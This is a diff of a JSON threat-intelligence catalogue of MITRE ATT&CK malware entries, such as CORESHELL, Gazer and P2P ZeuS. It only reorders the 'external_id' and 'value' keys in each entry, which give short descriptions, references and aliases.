+ "value": "Helminth - S0170"
},
{
"description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: CORESHELL, SOURFACE",
- "value": "CORESHELL - S0137",
"meta": {
+ "external_id": "S0137",
"refs": [
"https://attack.mitre.org/wiki/Software/S0137",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
- "external_id": "S0137",
"synonyms": [
"CORESHELL",
"SOURFACE"
]
},
- "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81"
+ "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81",
+ "value": "CORESHELL - S0137"
},
{
"description": "SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: SOUNDBITE",
- "value": "SOUNDBITE - S0157",
"meta": {
+ "external_id": "S0157",
"refs": [
"https://attack.mitre.org/wiki/Software/S0157",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
- "external_id": "S0157",
"synonyms": [
"SOUNDBITE"
]
},
- "uuid": "9ca488bd-9587-48ef-b923-1743523e63b2"
+ "uuid": "9ca488bd-9587-48ef-b923-1743523e63b2",
+ "value": "SOUNDBITE - S0157"
},
{
"description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron",
- "value": "Remsec - S0125",
"meta": {
+ "external_id": "S0125",
"refs": [
"https://attack.mitre.org/wiki/Software/S0125",
"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
],
- "external_id": "S0125",
"synonyms": [
"Remsec",
"Backdoor.Remsec",
"ProjectSauron"
]
},
- "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8"
+ "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
+ "value": "Remsec - S0125"
},
{
"description": "POORAIM is a backdoor used by APT37 in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)\n\nAliases: POORAIM",
- "value": "POORAIM - S0216",
"meta": {
+ "external_id": "S0216",
"refs": [
"https://attack.mitre.org/wiki/Software/S0216",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0216",
"synonyms": [
"POORAIM"
]
},
- "uuid": "53d47b09-09c2-4015-8d37-6633ecd53f79"
+ "uuid": "53d47b09-09c2-4015-8d37-6633ecd53f79",
+ "value": "POORAIM - S0216"
},
{
"description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: FLASHFLOOD",
- "value": "FLASHFLOOD - S0036",
"meta": {
+ "external_id": "S0036",
"refs": [
"https://attack.mitre.org/wiki/Software/S0036",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
- "external_id": "S0036",
"synonyms": [
"FLASHFLOOD"
]
},
- "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a"
+ "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a",
+ "value": "FLASHFLOOD - S0036"
},
{
"description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)\n\nAliases: TINYTYPHON",
- "value": "TINYTYPHON - S0131",
"meta": {
+ "external_id": "S0131",
"refs": [
"https://attack.mitre.org/wiki/Software/S0131",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
- "external_id": "S0131",
"synonyms": [
"TINYTYPHON"
]
},
- "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca"
+ "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca",
+ "value": "TINYTYPHON - S0131"
},
{
"description": "Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)\n\nAliases: Gazer, WhiteBear\n\nContributors: Bartosz Jerzman",
- "value": "Gazer - S0168",
"meta": {
+ "external_id": "S0168",
"refs": [
"https://attack.mitre.org/wiki/Software/S0168",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
],
- "external_id": "S0168",
"synonyms": [
"Gazer",
"WhiteBear"
]
},
- "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4"
+ "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4",
+ "value": "Gazer - S0168"
},
{
"description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)\n\nAliases: SeaDuke, SeaDaddy, SeaDesk",
- "value": "SeaDuke - S0053",
"meta": {
+ "external_id": "S0053",
"refs": [
"https://attack.mitre.org/wiki/Software/S0053",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0053",
"synonyms": [
"SeaDuke",
"SeaDaddy",
"SeaDesk"
]
},
- "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14"
+ "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14",
+ "value": "SeaDuke - S0053"
},
{
"description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)\n\nAliases: HALFBAKED",
- "value": "HALFBAKED - S0151",
"meta": {
+ "external_id": "S0151",
"refs": [
"https://attack.mitre.org/wiki/Software/S0151",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
],
- "external_id": "S0151",
"synonyms": [
"HALFBAKED"
]
},
- "uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f"
+ "uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f",
+ "value": "HALFBAKED - S0151"
},
{
"description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco",
- "value": "ADVSTORESHELL - S0045",
"meta": {
+ "external_id": "S0045",
"refs": [
"https://attack.mitre.org/wiki/Software/S0045",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
],
- "external_id": "S0045",
"synonyms": [
"ADVSTORESHELL",
"NETUI",
@@ -2158,118 +2156,119 @@
"Sedreco"
]
},
- "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73"
+ "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73",
+ "value": "ADVSTORESHELL - S0045"
},
{
"description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)\n\nAliases: SNUGRIDE",
- "value": "SNUGRIDE - S0159",
"meta": {
+ "external_id": "S0159",
"refs": [
"https://attack.mitre.org/wiki/Software/S0159",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
],
- "external_id": "S0159",
"synonyms": [
"SNUGRIDE"
]
},
- "uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870"
+ "uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870",
+ "value": "SNUGRIDE - S0159"
},
{
"description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)\n\nAliases: S-Type",
- "value": "S-Type - S0085",
"meta": {
+ "external_id": "S0085",
"refs": [
"https://attack.mitre.org/wiki/Software/S0085",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
- "external_id": "S0085",
"synonyms": [
"S-Type"
]
},
- "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131"
+ "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131",
+ "value": "S-Type - S0085"
},
{
"description": "Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets\n\nAliases: Chaos",
- "value": "Chaos - S0220",
"meta": {
+ "external_id": "S0220",
"refs": [
"https://attack.mitre.org/wiki/Software/S0220"
],
- "external_id": "S0220",
"synonyms": [
"Chaos"
]
},
- "uuid": "5bcd5511-6756-4824-a692-e8bb109364af"
+ "uuid": "5bcd5511-6756-4824-a692-e8bb109364af",
+ "value": "Chaos - S0220"
},
{
"description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)\n\nAliases: NetTraveler",
- "value": "NetTraveler - S0033",
"meta": {
+ "external_id": "S0033",
"refs": [
"https://attack.mitre.org/wiki/Software/S0033",
"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"
],
- "external_id": "S0033",
"synonyms": [
"NetTraveler"
]
},
- "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e"
+ "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
+ "value": "NetTraveler - S0033"
},
{
"description": "RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD",
- "value": "RemoteCMD - S0166",
"meta": {
+ "external_id": "S0166",
"refs": [
"https://attack.mitre.org/wiki/Software/S0166",
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
],
- "external_id": "S0166",
"synonyms": [
"RemoteCMD"
]
},
- "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26"
+ "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26",
+ "value": "RemoteCMD - S0166"
},
{
"description": "Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)\n\nAliases: Dyre",
- "value": "Dyre - S0024",
"meta": {
+ "external_id": "S0024",
"refs": [
"https://attack.mitre.org/wiki/Software/S0024",
"http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes"
],
- "external_id": "S0024",
"synonyms": [
"Dyre"
]
},
- "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe"
+ "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe",
+ "value": "Dyre - S0024"
},
{
"description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS",
- "value": "P2P ZeuS - S0016",
"meta": {
+ "external_id": "S0016",
"refs": [
"https://attack.mitre.org/wiki/Software/S0016",
"http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/"
],
- "external_id": "S0016",
"synonyms": [
"P2P ZeuS",
"Peer-to-Peer ZeuS",
"Gameover ZeuS"
]
},
- "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85"
+ "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
+ "value": "P2P ZeuS - S0016"
},
{
"description": " (Citation: FinFisher) is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)\n\nAliases: (Citation: FinFisher), FinSpy",
- "value": "FinFisher - S0182",
"meta": {
+ "external_id": "S0182",
"refs": [
"https://attack.mitre.org/wiki/Software/S0182",
"http://www.finfisher.com/FinFisher/index.html",
@@ -2277,613 +2276,612 @@
"https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html",
"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"
],
- "external_id": "S0182",
"synonyms": [
"FinFisher",
"FinSpy"
]
},
- "uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858"
+ "uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858",
+ "value": "FinFisher - S0182"
},
{
"description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)\n\nAliases: ComRAT",
- "value": "ComRAT - S0126",
"meta": {
+ "external_id": "S0126",
"refs": [
"https://attack.mitre.org/wiki/Software/S0126",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf",
"https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf"
],
- "external_id": "S0126",
"synonyms": [
"ComRAT"
]
},
- "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565"
+ "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565",
+ "value": "ComRAT - S0126"
},
{
"description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)\n\nAliases: POSHSPY",
- "value": "POSHSPY - S0150",
"meta": {
+ "external_id": "S0150",
"refs": [
"https://attack.mitre.org/wiki/Software/S0150",
"https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html"
],
- "external_id": "S0150",
"synonyms": [
"POSHSPY"
]
},
- "uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808"
+ "uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808",
+ "value": "POSHSPY - S0150"
},
{
"description": "is a backdoor used by PLATINUM that is similar to Dipsind. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: adbupd\n\nContributors: Ryan Becwar",
- "value": "adbupd - S0202",
"meta": {
+ "external_id": "S0202",
"refs": [
"https://attack.mitre.org/wiki/Software/S0202"
],
- "external_id": "S0202",
"synonyms": [
"adbupd"
]
},
- "uuid": "0f1ad2ef-41d4-4b7a-9304-ddae68ea3005"
+ "uuid": "0f1ad2ef-41d4-4b7a-9304-ddae68ea3005",
+ "value": "adbupd - S0202"
},
{
"description": "Felismus is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus",
- "value": "Felismus - S0171",
"meta": {
+ "external_id": "S0171",
"refs": [
"https://attack.mitre.org/wiki/Software/S0171",
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
],
- "external_id": "S0171",
"synonyms": [
"Felismus"
]
},
- "uuid": "196f1f32-e0c2-4d46-99cd-234d4b6befe1"
+ "uuid": "196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+ "value": "Felismus - S0171"
},
{
"description": "Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys",
- "value": "Truvasys - S0178",
"meta": {
+ "external_id": "S0178",
"refs": [
"https://attack.mitre.org/wiki/Software/S0178",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
],
- "external_id": "S0178",
"synonyms": [
"Truvasys"
]
},
- "uuid": "691c60e2-273d-4d56-9ce6-b67e0f8719ad"
+ "uuid": "691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+ "value": "Truvasys - S0178"
},
{
"description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)\n\nAliases: Winnti",
- "value": "Winnti - S0141",
"meta": {
+ "external_id": "S0141",
"refs": [
"https://attack.mitre.org/wiki/Software/S0141",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf",
"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
],
- "external_id": "S0141",
"synonyms": [
"Winnti"
]
},
- "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21"
+ "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21",
+ "value": "Winnti - S0141"
},
{
"description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)\n\nAliases: RTM",
- "value": "RTM - S0148",
"meta": {
+ "external_id": "S0148",
"refs": [
"https://attack.mitre.org/wiki/Software/S0148",
"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
],
- "external_id": "S0148",
"synonyms": [
"RTM"
]
},
- "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841"
+ "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841",
+ "value": "RTM - S0148"
},
{
"description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: CallMe",
- "value": "CallMe - S0077",
"meta": {
+ "external_id": "S0077",
"refs": [
"https://attack.mitre.org/wiki/Software/S0077",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
- "external_id": "S0077",
"synonyms": [
"CallMe"
]
},
- "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5"
+ "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5",
+ "value": "CallMe - S0077"
},
{
"description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)\n\nAliases: HIDEDRV",
- "value": "HIDEDRV - S0135",
"meta": {
+ "external_id": "S0135",
"refs": [
"https://attack.mitre.org/wiki/Software/S0135",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf",
"http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf"
],
- "external_id": "S0135",
"synonyms": [
"HIDEDRV"
]
},
- "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4"
+ "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
+ "value": "HIDEDRV - S0135"
},
{
"description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)\n\nAliases: Mis-Type",
- "value": "Mis-Type - S0084",
"meta": {
+ "external_id": "S0084",
"refs": [
"https://attack.mitre.org/wiki/Software/S0084",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
- "external_id": "S0084",
"synonyms": [
"Mis-Type"
]
},
- "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61"
+ "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61",
+ "value": "Mis-Type - S0084"
},
{
"description": "Hikit is malware that has been used by (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)\n\nAliases: Hikit",
- "value": "Hikit - S0009",
"meta": {
+ "external_id": "S0009",
"refs": [
"https://attack.mitre.org/wiki/Software/S0009",
"http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf"
],
- "external_id": "S0009",
"synonyms": [
"Hikit"
]
},
- "uuid": "95047f03-4811-4300-922e-1ba937d53a61"
+ "uuid": "95047f03-4811-4300-922e-1ba937d53a61",
+ "value": "Hikit - S0009"
},
{
"description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)\n\nAliases: ASPXSpy, ASPXTool",
- "value": "ASPXSpy - S0073",
"meta": {
+ "external_id": "S0073",
"refs": [
"https://attack.mitre.org/wiki/Software/S0073",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
- "external_id": "S0073",
"synonyms": [
"ASPXSpy",
"ASPXTool"
]
},
- "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2"
+ "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2",
+ "value": "ASPXSpy - S0073"
},
{
"description": "Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: Dipsind\n\nContributors: Ryan Becwar",
- "value": "Dipsind - S0200",
"meta": {
+ "external_id": "S0200",
"refs": [
"https://attack.mitre.org/wiki/Software/S0200"
],
- "external_id": "S0200",
"synonyms": [
"Dipsind"
]
},
- "uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517"
+ "uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517",
+ "value": "Dipsind - S0200"
},
{
"description": "SEASHARPEE is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE",
- "value": "SEASHARPEE - S0185",
"meta": {
+ "external_id": "S0185",
"refs": [
"https://attack.mitre.org/wiki/Software/S0185",
"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
],
- "external_id": "S0185",
"synonyms": [
"SEASHARPEE"
]
},
- "uuid": "0998045d-f96e-4284-95ce-3c8219707486"
+ "uuid": "0998045d-f96e-4284-95ce-3c8219707486",
+ "value": "SEASHARPEE - S0185"
},
{
"description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)\n\nAliases: Sykipot",
- "value": "Sykipot - S0018",
"meta": {
+ "external_id": "S0018",
"refs": [
"https://attack.mitre.org/wiki/Software/S0018",
"https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards",
"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments"
],
- "external_id": "S0018",
"synonyms": [
"Sykipot"
]
},
- "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9"
+ "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
+ "value": "Sykipot - S0018"
},
{
"description": "DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper",
- "value": "DownPaper - S0186",
"meta": {
+ "external_id": "S0186",
"refs": [
"https://attack.mitre.org/wiki/Software/S0186",
"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
],
- "external_id": "S0186",
"synonyms": [
"DownPaper"
]
},
- "uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148"
+ "uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148",
+ "value": "DownPaper - S0186"
},
{
"description": "OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)\n\nAliases: OSInfo",
- "value": "OSInfo - S0165",
"meta": {
+ "external_id": "S0165",
"refs": [
"https://attack.mitre.org/wiki/Software/S0165",
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
],
- "external_id": "S0165",
"synonyms": [
"OSInfo"
]
},
- "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8"
+ "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+ "value": "OSInfo - S0165"
},
{
"description": "HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors. (Citation: FireEye Periscope March 2018)\n\nAliases: HOMEFRY",
- "value": "HOMEFRY - S0232",
"meta": {
+ "external_id": "S0232",
"refs": [
"https://attack.mitre.org/wiki/Software/S0232",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
- "external_id": "S0232",
"synonyms": [
"HOMEFRY"
]
},
- "uuid": "7451bcf9-e6e6-4a70-bc3d-1599173d0035"
+ "uuid": "7451bcf9-e6e6-4a70-bc3d-1599173d0035",
+ "value": "HOMEFRY - S0232"
},
{
"description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)\n\nAliases: GLOOXMAIL, Trojan.GTALK",
- "value": "GLOOXMAIL - S0026",
"meta": {
+ "external_id": "S0026",
"refs": [
"https://attack.mitre.org/wiki/Software/S0026",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0026",
"synonyms": [
"GLOOXMAIL",
"Trojan.GTALK"
]
},
- "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2"
+ "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
+ "value": "GLOOXMAIL - S0026"
},
{
"description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)\n\nAliases: Emissary",
- "value": "Emissary - S0082",
"meta": {
+ "external_id": "S0082",
"refs": [
"https://attack.mitre.org/wiki/Software/S0082",
"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
],
- "external_id": "S0082",
"synonyms": [
"Emissary"
]
},
- "uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1"
+ "uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1",
+ "value": "Emissary - S0082"
},
{
"description": "PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)\n\nAliases: PUNCHTRACK, PSVC",
- "value": "PUNCHTRACK - S0197",
"meta": {
+ "external_id": "S0197",
"refs": [
"https://attack.mitre.org/wiki/Software/S0197",
"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
],
- "external_id": "S0197",
"synonyms": [
"PUNCHTRACK",
"PSVC"
]
},
- "uuid": "c4de7d83-e875-4c88-8b5d-06c41e5b7e79"
+ "uuid": "c4de7d83-e875-4c88-8b5d-06c41e5b7e79",
+ "value": "PUNCHTRACK - S0197"
},
{
"description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner",
- "value": "Miner-C - S0133",
"meta": {
+ "external_id": "S0133",
"refs": [
"https://attack.mitre.org/wiki/Software/S0133",
"http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"
],
- "external_id": "S0133",
"synonyms": [
"Miner-C",
"Mal/Miner-C",
"PhotoMiner"
]
},
- "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234"
+ "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234",
+ "value": "Miner-C - S0133"
},
{
"description": " (Citation: DustySky) is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2\n\nAliases: (Citation: DustySky), NeD Worm",
- "value": "DustySky - S0062",
"meta": {
+ "external_id": "S0062",
"refs": [
"https://attack.mitre.org/wiki/Software/S0062"
],
- "external_id": "S0062",
"synonyms": [
"DustySky",
"NeD Worm"
]
},
- "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54"
+ "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54",
+ "value": "DustySky - S0062"
},
{
"description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper",
- "value": "BUBBLEWRAP - S0043",
"meta": {
+ "external_id": "S0043",
"refs": [
"https://attack.mitre.org/wiki/Software/S0043",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
- "external_id": "S0043",
"synonyms": [
"BUBBLEWRAP",
"Backdoor.APT.FakeWinHTTPHelper"
]
},
- "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b"
+ "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b",
+ "value": "BUBBLEWRAP - S0043"
},
{
